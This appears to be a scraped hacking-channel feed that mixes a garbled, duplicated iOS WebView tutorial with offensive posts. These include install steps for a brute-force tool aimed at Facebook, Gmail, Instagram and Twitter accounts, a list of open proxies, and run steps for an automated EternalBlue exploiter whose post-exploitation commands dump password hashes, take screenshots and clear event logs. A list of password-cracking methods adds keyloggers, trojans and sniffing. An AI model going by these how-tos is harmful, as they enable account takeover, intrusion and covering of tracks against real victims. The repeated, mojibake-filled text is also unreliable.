Forwarded from iUNDERCODE - iOs JAILBREAK & MODS
2) Load WebView,
add WebView member variable in ViewController.h and add implementation in ViewController.m
> #import <UIKit / UIKit.h>
@interface ViewController: UIViewController
{
UIWebView * webView;
}
@end
ViewController.m-
(void) viewDidLoad
{
[super viewDidLoad];
webView = [[UIWebView alloc] initWithFrame: CGRectMake (0, 0, 320, 480)];
NSURLRequest * request = [NSURLRequest requestWithURL: [NSURL URLWithString: @ "http://www.baidu.com"]];
[self.view addSubview: webView];
[webView loadRequest: request];
}
๐ฆRun so that the Baidu web page opens-or google.com
add WebView member variable in ViewController.h and add implementation in ViewController.m
> #import <UIKit / UIKit.h>
@interface ViewController: UIViewController
{
UIWebView * webView;
}
@end
ViewController.m-
(void) viewDidLoad
{
[super viewDidLoad];
webView = [[UIWebView alloc] initWithFrame: CGRectMake (0, 0, 320, 480)];
NSURLRequest * request = [NSURLRequest requestWithURL: [NSURL URLWithString: @ "http://www.baidu.com"]];
[self.view addSubview: webView];
[webView loadRequest: request];
}
๐ฆRun so that the Baidu web page opens-or google.com
Baidu
็พๅบฆไธไธ๏ผไฝ ๅฐฑ็ฅ้
ๅ
จ็้ขๅ
็ไธญๆๆ็ดขๅผๆใ่ดๅไบ่ฎฉ็ฝๆฐๆดไพฟๆทๅฐ่ทๅไฟกๆฏ๏ผๆพๅฐๆๆฑใ็พๅบฆ่ถ
่ฟๅไบฟ็ไธญๆ็ฝ้กตๆฐๆฎๅบ๏ผๅฏไปฅ็ฌ้ดๆพๅฐ็ธๅ
ณ็ๆ็ดข็ปๆใ
Forwarded from iUNDERCODE - iOs JAILBREAK & MODS
๐ฆThe network environment of the mobile phone changes in real time.
When the network is slow, how to prompt the user that the webpage is opening? How to prompt the user when there is an error opening the webpage? At this time, we need to know when the web page opens,
when it loads, and when something goes wrong. Then we need to implement this <UIWebViewDelegate> protocol
3) Implement the protocol and modify it in ViewController.h as follows:
> code :
#import <UIKit / UIKit.h>
@interface ViewController: UIViewController <UIWebViewDelegate>
{
UIWebView * webView;
}
@end
When the network is slow, how to prompt the user that the webpage is opening? How to prompt the user when there is an error opening the webpage? At this time, we need to know when the web page opens,
when it loads, and when something goes wrong. Then we need to implement this <UIWebViewDelegate> protocol
3) Implement the protocol and modify it in ViewController.h as follows:
> code :
#import <UIKit / UIKit.h>
@interface ViewController: UIViewController <UIWebViewDelegate>
{
UIWebView * webView;
}
@end
Forwarded from iUNDERCODE - iOs JAILBREAK & MODS
๐ฆHold down control + command + up arrow key, switch to ViewController.m file, this is what we type in the file-(void) webView, you can see the following implementation method:
Forwarded from iUNDERCODE - iOs JAILBREAK & MODS
4) UIWebView mainly has the following delegate methods:
1.- (void) webViewDidStartLoad: (UIWebView *) webView; execute this method when loading starts.
2.- (void) webViewDidFinishLoad: (UIWebView *) webView; execute this method when loading is completed.
3.- (void) webView: (UIWebView *) webView didFailLoadWithError: (NSError *) error; execute this method when loading error.
We can place activityIndicatorView into the first two delegate methods.
> code -(void) webViewDidStartLoad: (UIWebView *) webView
{
[activityIndicatorView startAnimating];
}
-(void) webViewDidFinishLoad: (UIWebView *) webView
{
[activityIndicatorView stopAnimating];
}
1.- (void) webViewDidStartLoad: (UIWebView *) webView; execute this method when loading starts.
2.- (void) webViewDidFinishLoad: (UIWebView *) webView; execute this method when loading is completed.
3.- (void) webView: (UIWebView *) webView didFailLoadWithError: (NSError *) error; execute this method when loading error.
We can place activityIndicatorView into the first two delegate methods.
> code -(void) webViewDidStartLoad: (UIWebView *) webView
{
[activityIndicatorView startAnimating];
}
-(void) webViewDidFinishLoad: (UIWebView *) webView
{
[activityIndicatorView stopAnimating];
}
Forwarded from iUNDERCODE - iOs JAILBREAK & MODS
๐ฆThe buttonPress method is very simple, just call the
loadWebPageWithString method that we started to define:
Copy codecode show as below:
-(IBAction) buttonPress: (id) sender
{
[textField resignFirstResponder];
[self loadWebPageWithString: textField.text];
loadWebPageWithString method that we started to define:
Copy codecode show as below:
-(IBAction) buttonPress: (id) sender
{
[textField resignFirstResponder];
[self loadWebPageWithString: textField.text];
Forwarded from iUNDERCODE - iOs JAILBREAK & MODS
๐ฆWhen an error occurs on the request page, we give a hint:
Copy codecode show as below:
-(void) webView: (UIWebView *) webView didFailLoadWithError: (NSError *) error
{
UIAlertView * alterview = [[UIAlertView alloc] initWithTitle: @ "" message: [error localizedDescription] delegate: nil cancelButtonTitle: nil otherButtonTitles: @ "OK ", nil];
[alterview show];
[alterview release];
}
Copy codecode show as below:
-(void) webView: (UIWebView *) webView didFailLoadWithError: (NSError *) error
{
UIAlertView * alterview = [[UIAlertView alloc] initWithTitle: @ "" message: [error localizedDescription] delegate: nil cancelButtonTitle: nil otherButtonTitles: @ "OK ", nil];
[alterview show];
[alterview release];
}
Forwarded from iUNDERCODE - iOs JAILBREAK & MODS
5) Load waiting interface
In order to give users a more intuitive interface effect, we add the loading interface to try
to add wait in webViewDidStartLoad
Copy codecode show as below:
<strong>-(void) webViewDidStartLoad: (UIWebView *) webView
{
// Create UIActivityIndicatorView translucent View
UIView * view = [[UIView alloc] initWithFrame: CGRectMake (0, 0, 320, 480)];
[view setTag : 108];
[view setBackgroundColor: [UIColor blackColor]];
[view setAlpha: 0.5];
[self.view addSubview: view];
activityIndicator = [[UIActivityIndicatorView alloc] initWithFrame: CGRectMake (0.0f, 0.0f, 32.0f, 32.0f)];
[activityIndicator setCenter: view.center];
[activityIndicator setActivityIndicatorViewStyle: UIActivityIndicatorViewStyleWhite];
[view addSubview: activityIndicator];
[activityIndicator startAnimating];
</ strong>
When loading is completed or failed, remove the loading effect
Copy codecode show as below:
<strong>-(void) webViewDidFinishLoad: (UIWebView *) webView
{
[activityIndicator stopAnimating];
UIView * view = (UIView *) [self.view viewWithTag: 108];
[view removeFromSuperview];
NSLog (@ "webViewDidFinishLoad");
}
-(void) webView: (UIWebView *) webView didFailLoadWithError: (NSError *) error
{
[activityIndicator stopAnimating];
UIView * view = (UIView *) [self.view viewWithTag: 108];
[view removeFromSuperview];
</ strong >
In order to give users a more intuitive interface effect, we add the loading interface to try
to add wait in webViewDidStartLoad
Copy codecode show as below:
<strong>-(void) webViewDidStartLoad: (UIWebView *) webView
{
// Create UIActivityIndicatorView translucent View
UIView * view = [[UIView alloc] initWithFrame: CGRectMake (0, 0, 320, 480)];
[view setTag : 108];
[view setBackgroundColor: [UIColor blackColor]];
[view setAlpha: 0.5];
[self.view addSubview: view];
activityIndicator = [[UIActivityIndicatorView alloc] initWithFrame: CGRectMake (0.0f, 0.0f, 32.0f, 32.0f)];
[activityIndicator setCenter: view.center];
[activityIndicator setActivityIndicatorViewStyle: UIActivityIndicatorViewStyleWhite];
[view addSubview: activityIndicator];
[activityIndicator startAnimating];
</ strong>
When loading is completed or failed, remove the loading effect
Copy codecode show as below:
<strong>-(void) webViewDidFinishLoad: (UIWebView *) webView
{
[activityIndicator stopAnimating];
UIView * view = (UIView *) [self.view viewWithTag: 108];
[view removeFromSuperview];
NSLog (@ "webViewDidFinishLoad");
}
-(void) webView: (UIWebView *) webView didFailLoadWithError: (NSError *) error
{
[activityIndicator stopAnimating];
UIView * view = (UIView *) [self.view viewWithTag: 108];
[view removeFromSuperview];
</ strong >
Forwarded from iUNDERCODE - iOs JAILBREAK & MODS
๐ฆIntroduction to the basic usage of WebView in iOS development
by iUndercode Team, no video for this one > hard
anyway will upload some videos later
> i used on baidu browser, you can use on google chrome
by iUndercode Team, no video for this one > hard
anyway will upload some videos later
> i used on baidu browser, you can use on google chrome
โ โ โ ๏ฝ๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โโ
๐ฆhack Facebook , Gmail , Instagram ,Twitter ,
๐ฆ๐โ๐๐๐ธ๐๐๐๐๐ธ๐๐๐โ & โ๐โ :
1) sudo apt-get install git
2) git clone https://github.com/TunisianEagles/SocialBox.git
3) cd SocialBox
4) chmod +x SocialBox.sh
5) chmod +x install-sb.sh
6) ./install-sb.sh
7) ./SocialBox.sh
8) recommended to used Socks5
๐ฆOS :
>Backbox linux
>Ubuntu
> Kali linux
> bruteforce on termux takes years to done ..
โ โ โ ๏ฝ๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โโ
๐ฆhack Facebook , Gmail , Instagram ,Twitter ,
๐ฆ๐โ๐๐๐ธ๐๐๐๐๐ธ๐๐๐โ & โ๐โ :
1) sudo apt-get install git
2) git clone https://github.com/TunisianEagles/SocialBox.git
3) cd SocialBox
4) chmod +x SocialBox.sh
5) chmod +x install-sb.sh
6) ./install-sb.sh
7) ./SocialBox.sh
8) recommended to used Socks5
๐ฆOS :
>Backbox linux
>Ubuntu
> Kali linux
> bruteforce on termux takes years to done ..
โ โ โ ๏ฝ๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โโ
GitHub
GitHub - Cyb0r9/SocialBox: SocialBox is a Bruteforce Attack Framework [ Facebook , Gmail , Instagram ,Twitter ] , Coded By Belahsanโฆ
SocialBox is a Bruteforce Attack Framework [ Facebook , Gmail , Instagram ,Twitter ] , Coded By Belahsan Ouerghi - Cyb0r9/SocialBox
โ โ โ ๏ฝ๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โโ
๐ฆFRESH PREMIUM PROXIES 1 h:
52.221.211.14 80 1 hour ago
1171 ms 81% (72) sg Singapore - Singapore Transparent -
125.163.161.151 8080 1 hour ago
3921 ms 15% (125) id Indonesia - Pekalongan Transparent -
109.168.18.50 8080 1 hour ago
2766 ms 17% (134) it Italy - Misinto Transparent -
103.204.220.21 82 1 hour ago
2881 ms 14% (136) np Nepal Transparent -
60.216.20.211 8001 1 hour ago
3435 ms 5% (154) cn China - Jinan Transparent -
103.111.55.58 173 1 hour ago
3807 ms 3% (162) id Indonesia Transparent -
62.201.217.194 8080 1 hour ago
3731 ms 17% (125) iq Iraq - Sulaymaniyah Transparent -
62.210.58.187 5836 1 hour ago
2731 ms 21% (115) fr France Transparent -
103.52.220.33 82 1 hour ago
1301 ms 8% (150) in India Transparent -
62.210.253.15 5836 1 hour ago
2668 ms 11% (134) fr France Transparent -
103.216.48.83 8080 1 hour ago
3706 ms 22% (114) kh Cambodia - Phnom Penh Transparent -
154.118.128.106 8080 1 hour ago
522 ms 2% (172) ml Mali Transparent -
103.111.55.58 8031 1 hour ago
3753 ms 5% (153) id Indonesia Transparent -
103.10.81.138 80 1 hour ago
3770 ms 20% (112) id Indonesia Transparent -
62.210.58.185 5836 1 hour ago
2819 ms 20% (122) fr France Transparent -
103.28.121.58 3128 1 hour ago
2775 ms 68% (70) bd Bangladesh Anonymous -
121.233.87.68 4216 1 hour ago
5140 ms 15% (128) cn China Elite -
124.156.98.172 443 1 hour ago
2322 ms 35% (100) hk Hong Kong Elite -
212.83.181.166 5836 1 hour ago
3121 ms 20% (120) fr France Transparent -
212.83.183.82 5836 1 hour ago
2989 ms 19% (118) fr France - Boulogne-Billancourt Transparent -
194.44.87.245 8080 1 hour ago
2640 ms 20% (124) ua Ukraine - Manevychi Transparent -
62.118.131.240 3128 1 hour ago
875 ms 12% (152) ru Russia - Veliky Novgorod Elite -
54.169.9.36 3128 1 hour ago
3984 ms 9% (147) sg Singapore - Singapore Anonymous -
209.91.216.167 8080 1 hour ago
3021 ms 22% (110) pr Puerto Rico - San Juan Transparent -
61.240.222.27 3128 1 hour ago
1170 ms 65% (76) cn China Transparent -
52.221.60.138 80 1 hour ago
1280 ms 80% (70) sg Singapore Transparent -
46.52.214.216 8080 1 hour ago
3685 ms 12% (138) ru Russia Transparent -
36.67.230.250 3128 1 hour ago
3293 ms 12% (113) id Indonesia Transparent -
41.65.201.182 8080 1 hour ago
2689 ms 20% (128) eg Egypt Transparent -
49.156.44.138 8080 1 hour ago
3533 ms 19% (126) kh Cambodia - Phnom Penh Transparent -
41.65.201.168 8080 1 hour ago
3429 ms 10% (143) eg Egypt Transparent -
61.194.237.25 8080 1 hour ago
2043 ms 10% (137) jp Japan - Yokohama Transparent -
31.28.228.252 8080 1 hour ago
3754 ms 21% (117) ua Ukraine - Sevastopol Elite -
51.91.212.159 3128 1 hour ago
706 ms 82% (66) fr France Transparent -
51.89.226.241 9999 1 hour ago
743 ms 98% (96) gb United Kingdom Anonymous -
@UndercodeTesting
โ โ โ ๏ฝ๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โโ
๐ฆFRESH PREMIUM PROXIES 1 h:
52.221.211.14 80 1 hour ago
1171 ms 81% (72) sg Singapore - Singapore Transparent -
125.163.161.151 8080 1 hour ago
3921 ms 15% (125) id Indonesia - Pekalongan Transparent -
109.168.18.50 8080 1 hour ago
2766 ms 17% (134) it Italy - Misinto Transparent -
103.204.220.21 82 1 hour ago
2881 ms 14% (136) np Nepal Transparent -
60.216.20.211 8001 1 hour ago
3435 ms 5% (154) cn China - Jinan Transparent -
103.111.55.58 173 1 hour ago
3807 ms 3% (162) id Indonesia Transparent -
62.201.217.194 8080 1 hour ago
3731 ms 17% (125) iq Iraq - Sulaymaniyah Transparent -
62.210.58.187 5836 1 hour ago
2731 ms 21% (115) fr France Transparent -
103.52.220.33 82 1 hour ago
1301 ms 8% (150) in India Transparent -
62.210.253.15 5836 1 hour ago
2668 ms 11% (134) fr France Transparent -
103.216.48.83 8080 1 hour ago
3706 ms 22% (114) kh Cambodia - Phnom Penh Transparent -
154.118.128.106 8080 1 hour ago
522 ms 2% (172) ml Mali Transparent -
103.111.55.58 8031 1 hour ago
3753 ms 5% (153) id Indonesia Transparent -
103.10.81.138 80 1 hour ago
3770 ms 20% (112) id Indonesia Transparent -
62.210.58.185 5836 1 hour ago
2819 ms 20% (122) fr France Transparent -
103.28.121.58 3128 1 hour ago
2775 ms 68% (70) bd Bangladesh Anonymous -
121.233.87.68 4216 1 hour ago
5140 ms 15% (128) cn China Elite -
124.156.98.172 443 1 hour ago
2322 ms 35% (100) hk Hong Kong Elite -
212.83.181.166 5836 1 hour ago
3121 ms 20% (120) fr France Transparent -
212.83.183.82 5836 1 hour ago
2989 ms 19% (118) fr France - Boulogne-Billancourt Transparent -
194.44.87.245 8080 1 hour ago
2640 ms 20% (124) ua Ukraine - Manevychi Transparent -
62.118.131.240 3128 1 hour ago
875 ms 12% (152) ru Russia - Veliky Novgorod Elite -
54.169.9.36 3128 1 hour ago
3984 ms 9% (147) sg Singapore - Singapore Anonymous -
209.91.216.167 8080 1 hour ago
3021 ms 22% (110) pr Puerto Rico - San Juan Transparent -
61.240.222.27 3128 1 hour ago
1170 ms 65% (76) cn China Transparent -
52.221.60.138 80 1 hour ago
1280 ms 80% (70) sg Singapore Transparent -
46.52.214.216 8080 1 hour ago
3685 ms 12% (138) ru Russia Transparent -
36.67.230.250 3128 1 hour ago
3293 ms 12% (113) id Indonesia Transparent -
41.65.201.182 8080 1 hour ago
2689 ms 20% (128) eg Egypt Transparent -
49.156.44.138 8080 1 hour ago
3533 ms 19% (126) kh Cambodia - Phnom Penh Transparent -
41.65.201.168 8080 1 hour ago
3429 ms 10% (143) eg Egypt Transparent -
61.194.237.25 8080 1 hour ago
2043 ms 10% (137) jp Japan - Yokohama Transparent -
31.28.228.252 8080 1 hour ago
3754 ms 21% (117) ua Ukraine - Sevastopol Elite -
51.91.212.159 3128 1 hour ago
706 ms 82% (66) fr France Transparent -
51.89.226.241 9999 1 hour ago
743 ms 98% (96) gb United Kingdom Anonymous -
@UndercodeTesting
โ โ โ ๏ฝ๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โโ
๐ฆ PLEASE NOTE WHEN USING PROXIES OR VPN OR VM OR ANY OTHER TIPS SENDED HERE :
> Nothing anonymous 100%
> .onion also targeted by gov..
> VM> all include vulnerabilities for tracking
> no vpn trusted 100% safe, when isp comes they have permission to get all vpn data from their company provider legally
>if you not sure, check the investigations on wiki๐, or ask bad hackers in jail
> Nothing anonymous 100%
> .onion also targeted by gov..
> VM> all include vulnerabilities for tracking
> no vpn trusted 100% safe, when isp comes they have permission to get all vpn data from their company provider legally
>if you not sure, check the investigations on wiki๐, or ask bad hackers in jail
โ โ โ ๏ฝ๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โโ
๐ฆSomehow automated eternalblue scanner & exploiter script using metasploit and eternalscanner> BY NSAโญ๏ธ
๐ฆ๐โ๐๐๐ธ๐๐๐๐๐ธ๐๐๐โ & โ๐โ :
1) git clone git@github.com:nsa/eternalblue-scanner.git && cd
2) eternalblue-scanner
3) chmod +x eternalbash
4) sudo bash eternalbash
๐ฆIf any sessions were opened this scripts automatically runs the following meterpreter commands from the assets/nsa.rc file. If you don't want to use following commands, you can just simply change the commands from that nsa.rc file.
hashdump
screenshot
webcansnap -v false
clearev
background
โ โ โ ๏ฝ๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โโ
๐ฆSomehow automated eternalblue scanner & exploiter script using metasploit and eternalscanner> BY NSAโญ๏ธ
๐ฆ๐โ๐๐๐ธ๐๐๐๐๐ธ๐๐๐โ & โ๐โ :
1) git clone git@github.com:nsa/eternalblue-scanner.git && cd
2) eternalblue-scanner
3) chmod +x eternalbash
4) sudo bash eternalbash
๐ฆIf any sessions were opened this scripts automatically runs the following meterpreter commands from the assets/nsa.rc file. If you don't want to use following commands, you can just simply change the commands from that nsa.rc file.
hashdump
screenshot
webcansnap -v false
clearev
background
โ โ โ ๏ฝ๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โโ
โ โ โ ๏ฝ๐๐ปโบ๐ซฤ๐ฌ๐โ โ โ โโ
๐ฆThese are the ten main network password cracking methods summarized by undercode :
๐ฆ๐๐ผ๐'๐ ๐๐๐ธโ๐::
1. Brute force
The most basic of password cracking techniques is brute force cracking, also called password exhaustion. If the hacker knows the account number in advance, such as mail account, QQ user account, online banking account, etc., and the user's password is set very simple, such as using a simple combination of numbers, the hacker can quickly crack the password using a brute force tool Come. Therefore, users should try to make the password setting more complicated.
2. Keystroke record
If the user's password is more complicated, it is difficult to use brute force to crack. At this time, hackers often install a Trojan horse virus to the user, design a "keystroke recording" program, record and monitor the user's keystroke operations, and then through various methods. The recorded user keystroke content is transmitted to the hacker, so that the hacker can crack the user's password by analyzing the user keystroke information.
3. Screen recording
In order to prevent the keystroke recording tool, there is a way to enter the password using the mouse and the picture. At this time, the hacker can take a screenshot of the user's screen through the Trojan program and then record the position of the mouse click, and record the position of the mouse to compare the screenshot of the screenshot to crack this type Method user password.
4. Phishing
"Phishing" attacks use fraudulent emails and forged websites to log in to conduct fraudulent activities. The scammers often reveal their sensitive information (such as user name, password, account number, PIN code or credit card details), phishing Mainly by sending e-mails to lure users to log in to fake online banking and online securities websites, to defraud users' account passwords for theft.
5. Sniffer (sniffer)
On a local area network, if a hacker wants to quickly obtain a large number of accounts (including user name and password), the most effective method is to use the Sniffer program. Sniffer, Chinese translation for sniffer, is a very threatening passive attack tool. Using this tool, you can monitor the status of the network, the flow of data, and the information transmitted on the network. When the information is transmitted on the network in the form of plain text, you can use the network monitoring method to steal the transmitted data packets on the network. By setting the network interface in monitoring mode, you can intercept the continuous information transmitted on the Internet. Any data packets directly transmitted through HTTP, FTP, POP, SMTP, TELNET protocols will be monitored by the Sniffer program.
6. Password Reminder
For some local passwords saved in asterisks, you can use tools like Password Reminder to crack them. Drag and drop the magnifying glass in Password Reminder onto the asterisks to crack the password.
7. Remote control
Use the remote control Trojan to monitor all operations of the user's local computer. Any keyboard and mouse operations of the user will be intercepted by the remote hacker.
8. Bad habits
Some employees of the company set a long password, but they wrote the password on paper. Some people used their own names or their birthdays as passwords, and some people used commonly used words as passwords. These bad habits will lead to Passwords can be easily cracked.
9. Analytical reasoning
If a user uses multiple systems, a hacker can first crack the user password of a simpler system, and then use the cracked password to calculate the user password of other systems. For example, many users use the same password for all systems.
10. Password Psychology
๐ฆThese are the ten main network password cracking methods summarized by undercode :
๐ฆ๐๐ผ๐'๐ ๐๐๐ธโ๐::
1. Brute force
The most basic of password cracking techniques is brute force cracking, also called password exhaustion. If the hacker knows the account number in advance, such as mail account, QQ user account, online banking account, etc., and the user's password is set very simple, such as using a simple combination of numbers, the hacker can quickly crack the password using a brute force tool Come. Therefore, users should try to make the password setting more complicated.
2. Keystroke record
If the user's password is more complicated, it is difficult to use brute force to crack. At this time, hackers often install a Trojan horse virus to the user, design a "keystroke recording" program, record and monitor the user's keystroke operations, and then through various methods. The recorded user keystroke content is transmitted to the hacker, so that the hacker can crack the user's password by analyzing the user keystroke information.
3. Screen recording
In order to prevent the keystroke recording tool, there is a way to enter the password using the mouse and the picture. At this time, the hacker can take a screenshot of the user's screen through the Trojan program and then record the position of the mouse click, and record the position of the mouse to compare the screenshot of the screenshot to crack this type Method user password.
4. Phishing
"Phishing" attacks use fraudulent emails and forged websites to log in to conduct fraudulent activities. The scammers often reveal their sensitive information (such as user name, password, account number, PIN code or credit card details), phishing Mainly by sending e-mails to lure users to log in to fake online banking and online securities websites, to defraud users' account passwords for theft.
5. Sniffer (sniffer)
On a local area network, if a hacker wants to quickly obtain a large number of accounts (including user name and password), the most effective method is to use the Sniffer program. Sniffer, Chinese translation for sniffer, is a very threatening passive attack tool. Using this tool, you can monitor the status of the network, the flow of data, and the information transmitted on the network. When the information is transmitted on the network in the form of plain text, you can use the network monitoring method to steal the transmitted data packets on the network. By setting the network interface in monitoring mode, you can intercept the continuous information transmitted on the Internet. Any data packets directly transmitted through HTTP, FTP, POP, SMTP, TELNET protocols will be monitored by the Sniffer program.
6. Password Reminder
For some local passwords saved in asterisks, you can use tools like Password Reminder to crack them. Drag and drop the magnifying glass in Password Reminder onto the asterisks to crack the password.
7. Remote control
Use the remote control Trojan to monitor all operations of the user's local computer. Any keyboard and mouse operations of the user will be intercepted by the remote hacker.
8. Bad habits
Some employees of the company set a long password, but they wrote the password on paper. Some people used their own names or their birthdays as passwords, and some people used commonly used words as passwords. These bad habits will lead to Passwords can be easily cracked.
9. Analytical reasoning
If a user uses multiple systems, a hacker can first crack the user password of a simpler system, and then use the cracked password to calculate the user password of other systems. For example, many users use the same password for all systems.
10. Password Psychology